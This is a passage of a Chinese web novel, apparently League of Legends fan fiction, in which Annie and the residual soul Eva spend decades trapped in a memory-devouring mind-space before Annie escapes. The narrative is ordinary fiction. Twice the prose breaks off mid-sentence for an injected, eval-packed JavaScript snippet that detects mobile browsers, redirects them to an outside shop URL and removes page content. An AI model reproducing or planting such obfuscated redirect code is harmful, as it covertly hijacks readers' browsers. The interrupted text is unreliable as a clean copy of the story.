“我知道你现在肯定很想嘲笑我,毕竟好像,你的命运多舛就是从出生在黑暗族开始的。但黑暗族如果没给你幸福平静的美好生活,你怎么会怨恨天道的破坏?” “给你举个最简单的例子:假如同样是你,一模一样的你,但这一次你出生在一个贫穷的村落。 你还是天赋异禀,生性活泼,喜欢到处玩耍。 有一天,一个世家的男子开车的时候,不小心把你父亲撞死了。你的母亲前去鸣冤,然而无权无势,最后那个人不过花了几枚金币,就摆平了一切。 最关键的是,金币还不是给你们的赔偿,是贿赂警察和法官的工具。 最后,你的母亲心灰意冷,郁郁而终。 而你,没有族人的帮助,没有强大到复仇的能力,即使天赋异禀,你也不过是个孩子。 你找任何人求助都没有办法,这个时候,你该怎么办?” 伊娃说完,安妮顿住了。 “我以为你在那个村落看见了类似的事情,才会对那里印象深刻呢,没想到不是。” 伊娃轻描淡写,就好像之前讲故事的不是她。 安妮深呼吸,不知为何,忽然想起了师父金克丝,和她的姐姐。 当初的金克丝,不就是眼睁睁看着姐姐被掠走?无权无势,就是她最大的弱点。 她轻描淡写地说着自己怎么下跪拦车,云淡风轻地描述自己长途跋涉找到守望麦田,好像这样,一切就跟着变得微不足道。 可是,她眼角的那抹光亮,是那样晶莹。 明明自己已经看到了一切,为什么现在才意识到? 可笑,刚才的自己还向往着成为祖神村普普通通的村民,过着平平淡淡的生活…… “其实,也不能太悲观。同样无权无势,但你如果出生在约德尔城,那不就是截然相反的境况了?” 伊娃说完,安妮却仍旧心情沉重。 她摇头,只是看着白茫茫的天空,仿佛看到了师父蛋糕上的奶油。 “我这一辈子,去过太多人迹罕至的地方,甚至大多数时间都在独来独往。这大概,就是我最幸运的地方吧。” 如果和卡伊特一样,每天面对人民,直面种种黑暗,她不知道自己能不能和卡伊特一样做到视而不见。 “不,你最幸运的是出身。只要是活着的人,你都可以这么对他说:他最幸运的就是出身。” “那你幸运吗?” “我?”伊娃笑了,“我虽然很想说自己不幸,但我必须承认,我的出身是无比幸运的。我没有因为各种原因被父母丢弃,没有出生在朝不保夕的战乱之地,没有一来就死在黑暗势力和邪恶分子手中。” 我也没有。 安妮在心里附和着,忽然想到了那一袋金币。 很久很久以前,在天雷毁灭一切之后,她靠着契约提伯斯原地重生之后,在焦土遍布的坟场地下,挖出的一袋金币。 凯德阿姨早早为她准备好的东西,是多少人一辈子得不到的财富,可她毫无所觉。 “我好像知道,我想创造什么样的世界了。” 如果真正的世界现实而残酷,为什么不建造一个自己的理想国? 安妮忽然想到了科瑞特。 她好像理解,小老头为什么对自己的科技王国那么自豪了。 即使创造的代价是把自己染黑。 30. 30 安妮首先创建的,是一座教堂。 迷迭香环绕,可惜,安妮已经记不清鲜花长什么样了。香气也若有若无,因为她不知道迷迭香的味道。 但伊娃一眼就看出了这是什么,她惊呼:“教堂?” “你知道这里?不应该啊……” 魔兽形成兽潮进攻约德尔城,是诸神之战之后的事情,教堂也是那之后建造的,伊娃应该不了解才对。 “虽然我在黑暗领域,但莫斯卡和卜拉克又不是哑巴,有什么消息,她们还是会告诉我的。卜拉克很喜欢教堂的设计,她说那是和亚特兰蒂斯宫殿一样的神圣之地。” “是吗……” 事实上,安妮也是这样认为的,否则她也不会率先建造一间教堂,然后才开始建造房子。 连绵不断的房子组成街道,这些伊娃已经毫不在意。 她注意到的,是房子里出现的小人。 全都身材矮小,竖着尖尖的耳朵,毛茸茸的身体,眼眸澄澈,仿佛盛着星空。 “是约德尔人。你还真是喜欢他们。” “你不喜欢吗?” “过去挺喜欢的。”至于现在如何,伊娃没说,安妮也不问。 房间里、街道上,约德尔人来来往往进进出出。忽然,教堂内多了一抹鲜红。 他的眼神坚毅,举手投足间灵动轻盈、敏捷迅速。灿烂的笑容不带一丝杂质,阳光灿烂得仿佛小太阳。 他的身边,是一头白毛的少女。脸颊上两抹红晕衬托得她活泼可爱,和背后的大炮形成鲜明对比。 “崔丝塔娜?旁边那个是谁啊?她的情人?” “是战友。” 安妮仿佛一个全知全能的上帝,靠着教堂内的雕像,看着面前的一切。 烛光摇曳,晴空万里。 她眨眨眼,将视线放到头顶。白茫茫的一片,太阳都没有。 没有太阳光,却还如此明亮的世界,也只能存在于幻想里吧…… 安妮轻叹了口气,飞上天空。到达她所承认的高度后,四根柱子缓缓升起。 紧接着,停住了。 就像是卡壳的机器,柱子升起,到十几米的高度后,停下。 “你不是去过很多地方吗?连房子都造不出来了?” “可是,我没去过星月城。” 也再没有机会可以去了。 安妮的回答很轻、很淡,调笑的伊娃却陡然沉默了。 她也如同这四根柱子,卡了壳,话到嘴边,却说不出来。 明明想和之前一样嘲讽安妮所谓的友情,得意她必须接受自己的现状,回想起那个人的身影,却觉得心中犹如多了块石头。 闷闷的、堵堵的。 那是……她唯一的知心朋友吧。 知道她的身世,知道她的无奈,知道她的不堪。就像一汪深不见底的潭水,默默将她的一切苦痛挣扎淹没沉底。 可是如今,那汪潭水干涸了,取而代之的,是曝光在阳光下,被灼烧炙烤的一切。 “星月城,是银白色的。 三足鼎立的三个圆形阵法,放置着三个东西:威力强大的审判巨剑;窥探夜晚的星月牌;传递音律的清音琴。 后方是一个空间,物品主人就居住在里面。 光滑的玉石地板,最中间是一个圆形眼睛的阵法,中间漂浮着天启者的眼眸——天启石。 天启者没有对应的房间,她幕天席地,我们也不知道她的住所。 除了天启石,其他东西都被它们如今的主人保管着。只是,审判巨剑断了,天启石应该已经碎裂,至于星月牌和清音琴,下落不明……” “星月牌在我这里。” “那清音琴应该还在琴瑟仙女缪斯那里。” 伊娃说完,开始详细描述星月城的外貌。 说到星月城竖在最前方的命名牌,她忽然顿住了。 那是她们给星月城的命名,但究竟是星月城如今的名字“星月城”,还是天道给的名字“伴神之地”,她忘了。 “你们为什么叫这里‘星月城’?” 安妮更关心这个。 “因为我们都不喜欢太阳。” 伊娃轻笑。 就像是叛逆的孩子,明明都是太阳之子,却抗拒太阳的一切。 回答完,气氛再次陷入沉默,伊娃有些错愕:“你不担心我是骗你的?” 她还以为安妮会问自己,为什么知道星月城的布局,还这么详细。 “你不会骗我的。”安妮微笑,抚摸着身边的墙壁,“就叫‘星月城’吧,她喜欢就好。” 这个“她”是谁不言而喻。 伊娃听到安妮的决定,罕见的没有阻止。 死都死了,何必还计较从前?她也该放下了。 安妮建造好星月城,再次往下,来到她定义的“地面”。 人来人往,一片繁荣,好像和之前没什么区别。一切都是那么清晰,完美附和记忆里的模样。 就是合理得让人有些不适。 “我明明记得,你之前离开的时候,面馆里这个人正在吃面,而且快吃完了。怎么他现在又开始坐着等待了?面呢?” 伊娃说完,面馆老板端着一碗面出现在桌子前,那人也不感到惊讶,迅速接过面吃了起来。 普普通通的一幕,伊娃却被吓了个够呛。 她是切切实实体验了一把言出法随,但她宁愿没有。 “你说的是这样吗?” 安妮还不知道伊娃的想法,她问道。 “是……但是……你有没有发现一个问题?” “什么问题?” “没什么,你再上去星月城看看?” 安妮虽然不解,但还是照做了。 她飞上星月城,映入眼帘的是一个空空荡荡的宫殿。还是三根柱子,三样物品,中间的天启石碎裂着…… “造个人试试。” 安妮依言照做。 白发紫肤,黄色旗袍,拿着一个木头法杖,眼中是熟悉的淡漠,泪光闪烁,多了一丝悲天悯人。 “不对,眼睛是黄色的。” 还是言出法随,少女的眸色瞬间改变。 “我好像知道为什么了……这个世界,比我想象的恐怖。” “什么?” “你猜一下,现在的地面应该是什么情况?” “应该……和之前没区别吧?” 难道,无妄空间出现破绽了? 安妮心中一喜。 “不,我想,地面应该消失了,在你想到的那一刻,它才会继续出现,继续运转。” 伊娃说完,安妮一顿。 “记忆错乱的地方,会被你的新记忆填补,所以你察觉不出任何不对劲。但其实,在你想到别处的那一刻,地面就已经消失了。” 如果是这样,那还有填补无妄空间的可能吗? 思想是有局限性的,她不可能什么都想,还是一起想。她创造出来的东西,会在她觉得不需要理会的瞬间消失得无影无踪。 她创造星月城的那段时间,地面已经消失不见。她回去后地面再次出现,错误的地方只会被新记忆填补,根本不是原来的地面…… “无法留下一丝痕迹,真不愧是无妄空间。”伊娃苦笑着,“不过也对,如果真的想到什么都能保存,这个空间就真的大得太夸张了。” “你说得对!” “什么?” “这个空间,或许根本没那么大,各种规则的限制,不就是为了让无妄空间能够容纳思想吗?那我想办法把空间填了,一定能找到破绽!” “你……随你吧。” 伊娃总不好打击安妮,只能由着她折腾,正好这个方法也是她没试过的,说不定能有点别样的收获。 比如……现在。 随着安妮的冥想,一座座建筑出现。 先是比较平凡的酒楼餐馆,甚至学院;再到神秘宏伟的金字塔,多半是恕瑞玛中心的特产;最后还有水晶宫、人鱼塔…… “这就是……卜拉克所说的亚特兰蒂斯?还真挺美。——难怪那家伙喜欢守规矩。” 伊娃的感叹安妮已经不在意,也无法在意,她努力把记忆里所有东西都回想出来,甚至细枝末节都不放过。 从最开始看到的街道,阿狸姐姐开的餐馆,以及阿若盖特的小旅馆,再到亚特兰蒂斯看到接触到的人鱼住所,甚至还有冰凉的海水和各种树木。 她从未这么专心过,努力回想经历的一切。 还有高耸入云的斩月山,那片绝美的花海星空…… 紧接着,嘈杂的人声响起。街道里传来不真切的声音,村落里甚至还有巫阿婆。阿狸姐姐身边是一群活蹦乱跳的小狐狸,以及各种妖兽。还有灾难丛林里的魔兽,乃至恕瑞玛的魂灵。 “呜……啊!” 安妮揪着脑子,庞大的记忆几乎将她淹没。脑海中,天翻地覆,还有各种声音回荡。 “安妮?” 是无数人对她名字的疑惑,她已经记不清对谁解释过,记不清这个声音来自谁。 “安妮!” 是凯德阿姨的肯定,是阿狸姐姐的呼唤,是巫阿婆的提醒,是金克丝、欧提特、科瑞特、查纳金…… “安妮……” 是树爷爷的呢喃和叹息,是艾德文特的祝福和告别,是维迦的悲伤和无奈,是辛诺的包容和心疼…… 疼痛的神经催生了眼角的湿润,心脏深陷回忆的漩涡,越来越深,最后,安妮仿佛听到了雷声轰鸣…… “安妮?” 这一次,是伊娃的轻声呼唤。 安妮睁开眼,眼前,是白茫茫的一片。 “我……” “失败了。”伊娃想耸肩表示无所谓,可惜她做不到。于是,女人语气淡然地安慰,“没关系,起码是一次全新的尝试。” 伊娃说完,安妮直接趴在空间内。 “大”字形张开身体,就那么趴着。 是她过去最喜欢的姿势。 小时候,这样放松好,就到了抓野兔钓大鱼爬树摘果子的时候。 伊娃知道,安妮心累了。 毕竟谁那么回忆一遭,都挺累的。 “伊娃,我不想死。” 这是安妮第一次,这么郑重其事地叫伊娃名字。 伊娃一愣,微笑:“谁都不想死。” “我以为我是特殊的,我以为有你的帮助,我足够幸运,也肯定能逃出这里。可我什么都试过了,全都不行!” “为什么都不行?为什么!难道这个空间就真的毫无破绽吗?那我尝试那么多有什么用?” “我还有那么多事情没做,我不要就这么死在这里!可是我还能干什么?我根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296907|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出不去!这么久了,我连它的破绽都没找到!” 安妮使劲捶着地面,可就连疼痛感都没有,因为她想象不出来。 在这个她的精神为尊的世界,她伤害自己的过程都不会有,直接就是死亡。 看着在地上撒泼打滚、肆意宣泄的安妮,伊娃仿佛看到了过去的自己。 她觉得,自己好像真的快变成安妮的母亲了。明明知道孩子一定会经历,也一定会成功,依旧忍不住心疼。 “我现在的样子是不是很幼稚?我说的那些,是不是很可笑?” 安妮已经不记得上一次胡搅蛮缠是因为什么,但她还记得,凯德阿姨包容宠溺的目光。 “不幼稚。”伊娃说完,知道安妮不会信,冷静解释,“我之前和你一样,也这么无力过,可惜,当时安慰我的人都没有。” “是吗?” 如果伊娃只说了前半部分,安妮或许不会相信,但后面的话语,是那么真诚。 真诚的羡慕。 “你知道吗?最无力的时刻,不是感觉到无力并为之撒泼打滚的时刻,而是在感觉到无力并为之撒泼打滚的时候,没有任何人出现帮你的那一刻。” 伊娃说完,安妮仿佛听到了耳边,凯德阿姨的安慰和呢喃。 是啊,当时的她起码还有帮助自己的人——现在也有。 她有什么理由颓废呢? “我还真要感谢你的陪伴。” 如果没有伊娃,自己可能早就已经疯魔了吧?尽管现在也无甚区别。 “没事,咱们相处的时间还长着呢,你谢早了。” 听着伊娃轻松的声音,安妮还是有些不解。 “我总感觉,你很自信,也一点不害怕。你真的不怕我们出不去吗?” 死亡,那是一个多么未知的词语,而人最怕的就是未知了。她以为,在知道自己出不去的那一刻,伊娃就该和自己一起着急了,但是没有。 “难道,你有什么保存记忆的方法?” “很遗憾地告诉你,没有。” 伊娃仿佛在自己面前摊手。 “那,就是出去的方法对么?你肯定有!” “我没有……我只是觉得,你肯定能出去的,也只有你能应对这个空间了。” “为什么?” 安妮从未有一刻这样着急,急于得到认可,哪怕是一缕残魂。 伊娃微笑:“这个原因暂时没法告诉你,但是总有一天你会出去的。这一天是多久我也不确定,但我会和你一起等的——安心吧。” “你在骗我。” “看你怎么想了,你就当我是为了安慰你乱说的吧。” 伊娃耸肩,不置可否。 她知道,安妮现在需要的只是一个肯定,那是比真相更重要的东西。 安妮开始坐在空间里休息。 实在是,她没有新办法尝试了。所有的方法都被否决,让她颓废至极。 看着即使坐着都浑身写着“不服气”的安妮,伊娃调笑:“你的战意还没消磨殆尽啊,看来这个空间还是差了点。该说,你不愧是寒焰的主人吗?” “我绝不会低头的,我一定能找到办法出去。” 安妮说完,伊娃居然沉默了。她敏锐地察觉到不对劲:“难道,我出去的办法不需要寻找?” “不是不需要寻找,是不需要你寻找。” “你觉得木木会帮我?” “不,不是他。”伊娃说完,有些好奇,她也就直接问了出来,毕竟在这个空间聊天是必要的,“我知道不会是他,但你为什么会不相信他?” 伊娃很容易就能听出这个疑问句里满含否定。 安妮抿唇,只是笑笑。 这个反应让伊娃彻底确信了,安妮真的把阿木木也当成了幻想。 她不知道为什么阿木木不来帮忙,但她知道,这个人一定是真实存在的。可惜,自己怎么跟安妮说,估计都是无用功。 那就看看,到底是阿木木快,还是那个人快吧。 极寒冰原。 水池边。 周围的寒气肆虐,提伯斯只敢远远望着,可是阿木木感觉不到一点。他看着面前的蛋,手腕上,印记越来越明亮。 “她被困住了吧?” “我到了。” “你还是那么冷漠。” 基兰笑呵呵的声音传来,对于安妮的被困,他似乎早有预料,此刻面对阿木木,一如既往地从容。 “我想好了,我不改。” “你当真不改吗?” “我相信她。” “是吗?” “她曾经跟我说过,无论世界多么黑暗,我们都要心存希望。这是她对辛诺的承诺,也是,对我的承诺。” 说到安妮,阿木木话多了。 基兰只是笑笑,不置可否:“既然选择了,那就没有更改的机会了,祝你成功……对了,小小妮小小木临死前,有些东西想给你。” “他们也死了?” 即使知道和安妮接触的人没有幸免于难的,阿木木还是有些动容。 基兰没回答,只是阿木木手腕上的印记突然立体起来,形成一个黑漆漆的裂缝。裂缝中,一朵紫色蒲公英慢慢飘出来…… “期待我赌输的那一刻。” 基兰的声音在空中回荡,最后,周围在寒风中归于寂静。 31. 31 “过去很多年了吧?” 空白的空间里,安妮停下脚步,颓然地坐在地上。 周围已经空无一物,因为她的记忆在消散。 安妮也不想承认,但是就是这样的。那些回忆如同恕瑞玛的沙一样,从指缝里滑走,怎么也握不住。 可笑的是,她却还记得一些无用的细枝末节。 比如菲缇那天请她吃的苹果没熟,特别酸。 具体哪一天安妮记不住了,但那是丰收节的后面一天。 还有木木脖子上的围巾,是鲜艳的红色。 “也不多,就……四十多年吧。” “你怎么记得这么清楚?” “我说过,我有一个特殊的计时方法。” “能给我说说吗?” “你还是省点功夫,多想想怎么保存现有的记忆吧。” “我做不到,我保存不了……” 安妮摇着头,感到无比的颓废。 这段时间,她不是没有努力过,甚至好多次想出了新方法,还没尝试就激动地跟伊娃分享,觉得自己一定能出去。 可是一次次的试探,全都是失败。 有时候,安妮自己都不知道失败的原因,还需要伊娃慢慢解释,她才能理解。原来无妄空间的运作还是那么专业,原来根本不存在任何漏洞。 “你说,木木会来找我吗?我有没有机会,被他救出去?” 伊娃似乎在安妮的识海里叹了口气。 往常的安妮肯定是注意不到的,但现在的她犹如一根绷紧的弦,恨不得知道所有细枝末节。她着急出声:“你怎么了?” “这个问题,你三十年前问过……你忘记了吗?” 三十年前问过…… 原来已经过去这么久了啊。 安妮嘴唇嗫嚅着,不知为何,忽然感觉眉头有点紧。眼皮干涩,视线渐渐模糊,心里,也堵堵的…… “师父说过,最见不得我哭的模样。”安妮擦了擦湿润的眼角,“真好,我现在还记得她。” “你还记得凯德阿姨,还记得阿狸和阿若盖特,还记得艾德文特和崔丝塔娜,你谁都记得。不记得也没事,我会帮你想起来的。” 以后,弗斯也会帮你想起来的。 “原来我给你说过那么多啊,那我讲过比格毛丝吗?” “你说,你可以接受让亚特兰蒂斯被所有人遗忘。” 好像这样,弗斯就没有找过去,没有拿到“人鱼之心”。 “我不想忘记这些。” “没关系。你以后,会记起来的。” “可以告诉我为什么吗?” “你以后会知道的。” 还是这句话,安妮记得,好像很多年前伊娃说过。那时的她坚定地说,自己一定会离开,安妮已经不想追究,这是不是骗人的了。 “我好累。” “休息一下吧。” 其实,安妮坐的时间已经很长了,但是她从没睡过觉。 一年、两年、十年、二十年……身体不会疲惫,但是精神得不到休息,这才是最顶级的折磨。 “我不明白,这个空间存在的意义究竟是什么……” “休息吧,别想了。” “可是,我不想死,我也休息不了……” 她从未有一刻这样想睡觉、想沉眠,她好像知道弗斯的目的了,他成功了…… “没关系,你会出去的,记住,你会出去的。” 伊娃轻叹着,仿佛在给安妮下蛊,又仿佛在鼓励她。 “我想出去,伊娃,我要唤醒她。” 不知道沉默了多久,坐在空间内的安妮再次出声了。 这是她几十年来,想到的唯一没有实现的,也是唯一一个最有希望的方法。就如同溺水的人抓住了最后的救命稻草,不管这个方法成功与否,都给了安妮无尽的希望。 她越想越觉得,一定也是这个第二人格,让伊娃如此相信自己。 可是,她只有在意识切换的时候,才有办法唤醒那个人格。如今的自己睡觉都做不到,如何让这个意识沉眠呢? 唯一的办法,就是强行让自己的主意识沉睡。 安妮说完,伊娃沉默了。 她知道安妮的意思。 让识海边缘的自己进入识海,将主人格的意识强行打晕,接下来苏醒的,当然就是第二人格。 但这样,无异于放任她在识海内为所欲为。 这个过程和搜魂没什么区别,唯一的不同大概是她的意识手段会温和一点——安妮不反抗的话。 因为她的目的不是搜寻记忆,过程也会快速一点。 但一切都建立在,伊娃的意识会乖乖照做的情况下。只要她有一点攻击的意思,安妮就只能任人宰割,并且,生不如死。 而且,就算她乐意,如果不小心出现意外,安妮也会非死即伤,保底成傻子。 “我对自己可没这自信。” “什么?” 安妮没想到,拒绝的会是伊娃。 “你是不是觉得我还能和莫斯卡远程交流,还能纠缠你几十年,和你一起进来,甚至还能支使七原罪干活,很厉害?” 不是吗? 安妮沉默了。 “孩子,我只是一抹残魂,一抹寄居在你的识海,随时可能挂掉——不对,早就挂掉了的残魂。我连身体都没有。” “我知道。” “我能跟你在这里停留十几年还保持理智,不过是在黑暗领域早就习惯了孤独,我不比谁厉害,精神更没有你想象的那么强。” “所以?” “让我打晕你的主人格意识,我做不到。就算是你潜意识里的防御,都能把我一巴掌拍死——这就是为什么我大费周折只是为了寄魂,而不夺舍。” “或许刚进来的时候我还有点自信,但如今几十年过去,我其实已经很虚弱了,你就放过我吧。” “放过你,那我怎么办?”安妮终于怒吼出声,这是第一次,她这样对伊娃。 态度恶劣的,可是难得生动。这已经是她仅有的活力,也很短暂。 因为吼完她就瘫坐在地了。 “你能出去的,相信我。如今不过是五十年的光阴,外界的时间才过去五年……” “五十年!我的一切经历,我从光明学院回到光明学院,才三十多年!” “那你知道吗?为了等你,我在黑暗领域呆了五百多年。我还没数,可能更多……但总之只多不少。” “那不一样!你在黑暗领域,起码有莫斯卡,有卜拉克,还有鬼牌……” “他们只是我的下属,我能跟她们说什么?我的全部娱乐就是观察鬼牌,我连维迦衣服上只有三颗扣子都知道!” 安妮沉默了。 “孤独是我们的必修课。” “我可以给你说血池的事情,可以给你说另一个世界的黑暗,可以给你很多新奇的概念,让你每天都不无聊,可是我不愿。哪怕你迟早会接替我,会看到这些东西,起码我想让你晚点知道。你在这里无所事事,百无聊赖,可总比每天被冲击到精神失常好。那些都是我经历过的,我却不想让你再经历一遍,你懂吗?” “就当,我身为一个母亲,在心疼孩子?” “那,我到底,还要等多久?” 安妮深呼吸,只是问了一个似乎无关的问题。 “再等等,相信我。你会出去的,没必要冒险,也没必要靠我。” “好,我等。” 这是安妮在无妄空间的第多少年,她也记不清了。 她不再询问伊娃时间,只是偶尔捏一个海螺,或者做个泥塑。 或许伊娃是对的,她不需要冒险。她的生命是永无止境的战争,所以一停下来就感觉严重得要命,实际上,这样的生活和在黑暗领域的伊娃没有区别。 她甚至还好一些,她有个人陪。 抛开无妄空间不谈,心想事成的天赋也让她有足够多的娱乐。 唯一的遗憾大概就是人不像人。 阿木木,也不是心里的那个阿木木。 “你是星月城的天使……曾经是,对么?” 正在捏泥塑的安妮忽然停下手里的动作,漫无目的地来了一句。和她手里的内容毫无关系,但就是这样。 没有刷新的记忆,所有思维都格外跳脱,没办法,想到哪就是哪。 伊娃有些意外,但没有反驳。 她如果有实体,此刻一定是笑着的。 “你怎么知道?” “我无聊。” 猜出来的。 “还有,我如果要出去,应该得靠星月城的人吧?嗯……应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296908|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在的缪斯。” 缪斯和辛诺一样,其实只是一个代称,伊娃曾经就叫辛诺——这也是安妮刚想到的。 “我真好奇你还会想到什么,比如,相信卜拉克其实来自亚特兰蒂斯?” “我早就相信了。” “那你不妨想想我们是怎么认识的,毕竟我们一个来自天上,一个来自海底。” 伊娃说完,安妮轻笑着摇头。 “这还用想吗?天使下凡了,人鱼上岸了,于是她们在地面相遇。” “可你还不知道天使为什么下凡,人鱼又为什么上岸。” 安妮一顿。 这个她确实不知道。 但是居住在星月城的人,应该离异世界很近吧……那接触到不一样的七原罪,也就合理了。 “你还有很多年的时间,可以慢慢思考,说不定,诸神之战的细节就被你想出来了。” “那还真是……挺好。” 安妮记得,记忆深处好像也有一个人,在自己心烦意乱被困住的时候,让自己想事情。 那个人是谁? 她想了些什么? 记忆越来越模糊了…… 安妮半梦半醒的状态持续了很久。 久到她都不知道自己做了什么,想了什么,只是出去的念头越来越模糊,好像,一切都无所谓了。 她说话的次数也越来越少,从不断和伊娃聊天,到找不到话题。 有时候,她都在疑惑,伊娃是不是骗她的。但是,都无所谓了,弗斯做到了,她好像真的失去了战意。 印象里,那个可憎的老人脸也模糊起来。 她还以为永远不会忘记呢…… 她还记得什么? “伊娃,我好累啊。” 安妮双眼无神,看着天际。白茫茫的一片,和她的思想一样。 她已经什么也留不下来了。 “十年了……快了,应该快了。” “十年?” 现实十年,无妄百年,她已经在这个空间待了一百年了吗? “相信我,很快了,这次没骗你。” 这已经是多少次“相信”,安妮数不清了。她只是看着一望无际的上空,脑子一片混沌。 一百多年…… 一百多年…… “我真的,好累啊。” 这是安妮第一次感到困顿,可是睡不着的。 睡不着。 直到…… 一个声音传来。 断壁残垣。 约德尔人绝望的嘶吼仿佛还在耳边回荡,刀刃砍如皮肉的声音仿佛在耳边,可是最近一个约德尔人的死亡,已经是三年前…… 脑海里,是一片死寂的海。明明没有见过亚特兰蒂斯,可仿佛已经看见了那里静谧的一切。只有海草依旧吐着泡泡,无声生长在人鱼的葬身之地…… 爆炸,带出无数的火焰和金属。机械头一次有了温度,可是漆黑的墙壁、破碎的地板,还有一个个和生命一起掉落的零件…… 阴云密布的天空之下,生机勃勃的草地很久以前就不见了,而这一次,好不容易能够存活下来的坚强生命,也化为灰烬…… 清风拂来,衣袂翻飞,将绿色的长发吹到身后,将刘海吹到脸侧,将那双金黄的水眸露出。 模糊的视线里,繁星点点。 所有记忆汹涌而来,耳边,是查瑞尔的嬉笑。 “所有活过的生命都必须凋零,没有谁应该承受悲哀的永恒。” 可她,为什么要亲眼见证这一切…… “睡吧……” “睡吧……” “请不要再彷徨……” 清音琴响起,这一次,仍旧是崭新的歌曲,却是最后一首。 鲜少说话的琴瑟仙女终于随着旋律吐出一个个文字,随着眼泪落在地上,抚慰着花草。 对不起,我是半神。 对不起,我什么也做不了。 我的宿命会和你们一样的。 高山之巅,羽化成风。 “我愿燃烧这灵魂做最后歌唱, 我愿承受这罪过和所有的伤, 我愿让时间把这段故事埋葬, 我愿一起被遗忘。” 高山之上,一座石像屹立风中,她透过星空,看见了最耀眼的星星。 32. 32 站在陌生又透着熟悉的柱子前,安妮还有些呆愣。 恍若隔世。 “我、出来了?” “你出来了。” 是伊娃的回答,那么清晰可辨。 安妮以为自己会欣喜若狂,会在地上蹦蹦跳跳恨不得飞起来,会大声欢呼像个宝物失而复得的孩子,可是没有。 她站在那里,好像要化为一尊雕像。 “我出来了……我出来了?——我出来了。” 一百年的时光,对伊娃来说或许很短暂,对她而言,却糟糕透了。而她现在,终于出来了。 出来了! “伊娃……” “什么?” “没,就是想叫叫你。”安妮说完,终于感觉灵魂回到了自己的身体。她环顾四周,一片茫然。 “我好像忘记了什么……” “你没忘,还是想想怎么出去吧。” “出去?” 安妮现在听到这两个字,本能一抖。 伊娃在她的识海里轻笑:“你就不好奇你是怎么出来的?不好奇十年过去了,外面什么样?不好奇……他们?” 这个“他们”指代的太多,安妮一下子不知道是谁。 但她知道自己现在要做什么。 弗斯在周围设置了很多探查阵法,只要走出这片属于无妄空间阵法的范围,就会无所遁形。而她身上,空无一物。 是的,神装不见了,连同那看似普通的裙罩幽冥扇,还有充当头饰的凤凰翎羽,甚至……崔丝塔娜给的印记。 可惜,弗斯小看她了。 “你不召回它们吗?” “不需要。” 她不想打草惊蛇。 无妄空间的经历虽然绝望,但也让她学会了沉淀和耐心,不过是研究一下这些阵法,然后寻找到破绽,悄无声息地出去,对于现在的她来说轻而易举。 至于那些东西……先放在他那好了。 反正他不可能拿得到。 安妮很快破解了阵法——比伊娃想象得快。 有种阵法,好在不需要任何东西辅助形成,坏在不需要任何东西辅助破解,而弗斯最喜欢的就是使用这种阵法,因为他自信没有谁对阵法的理解胜过他。 可惜他不知道天外有天人外有人,而基兰爷爷,正好来自天外天。 她作为守望麦田的受益者,也算半个人外人了。过去只是不想触碰,如今,还有比无妄空间枯燥的东西吗? “我是不是该高兴,你在无妄空间学到了耐心?” “你可以高兴,但别给我说。” 她再也不想回到那个破空间了。 安妮离开阵法,才发现自己在一片陌生的天空。脚下是洁白的云彩,周围星辰闪烁,是很神奇的角度。 “星月城的老朋友都不见了。” 这个“不见”,是再也不见的那种吧。 安妮指尖微颤。 即使她并不认识辛诺的朋友,甚至不清楚星月城住着几个人,此刻,还是感到一阵怅然若失。 好像自从出了无妄空间,她就感觉心里空落落的。 …… 对!星月牌! 伊娃没提醒她…… 安妮眨眨眼,将杂乱的想法抛诸脑后。她看了看地面,选择了一个角度,纵身。 没有神装,好在御风阵记得还行。 稳稳当当落地,是一片林子。 郁郁葱葱的树木,花草富有生机,狂野的植物,但好像又有人的痕迹。就像是一片刚被开发的密林,人类还没来得及做出毁灭性的破坏。 “这是灾难丛林。” 伊娃说完,安妮傻眼了。 “灾难丛林?” 过去的灾难丛林因为魔兽的侵袭和居住,环境并不太好。即使有了胡蛮的管理,也不可能是现在这样荒凉的感觉。就好像,魔兽都死了,身体化为营养供给森林。 可它们连身体都没有。 而且,越走,越能发现有人进来探索的踪迹。但这样的痕迹绝对不是专业人士留下的,而除了迅捷斥候,谁还敢进来? “别怀疑我,没有人比我更清楚星月城之下的落脚点。” 伊娃说完,安妮正好看到几颗鲜红的果子。 是灾难丛林特有的果实,价值不菲。原因也很简单:因为生长地区太过危险。 这里真的是灾难丛林。 前方,是约德尔城的城门。 安妮彻底确定了,她降落的确实是灾难丛林。 为什么没有看到胡蛮? 安妮怀揣着疑惑,往门口走去。 守门的是五大三粗的人类,安妮见过,在红蓝战场。 看穿着,应该是隶属皇城的士兵,安妮更疑惑了。 就算如今不需要抵御魔兽,看门的也该是埃克斯的蓝方,红方为什么会在这里? 难道,约德尔和皇城和解了? 安妮找了一家热闹的茶楼,坐下。 就像是悦来客栈一样,这种地方打听消息最方便了。 在小二驱赶自己之前,安妮拿出一颗之前发现的果子递给说书人:“可以换点钱吗?” 她其实可以直接去当铺,但是懒得,反正她知道市价。 然而,说书人拿出的银币却不多。接收到安妮看“奸商”的视线,他赶紧解释:“这果子虽然还稀有,但灾难丛林也不是去不了,现在……” “灾难丛林也不是去不了?什么意思?” “胡蛮都死了,灾难丛林的魔兽幻影也被镇压了,那不就安全了吗?你这果子再过段时间就不值钱了。” 安妮指尖一颤。 “魔兽幻影被镇压了?” “无尽战刃镇压的,多亏了加丁院长,蛮族的无尽战刃才能物尽其用!那个斯特恩斯和维思朵也是自私自利,活该被杀! 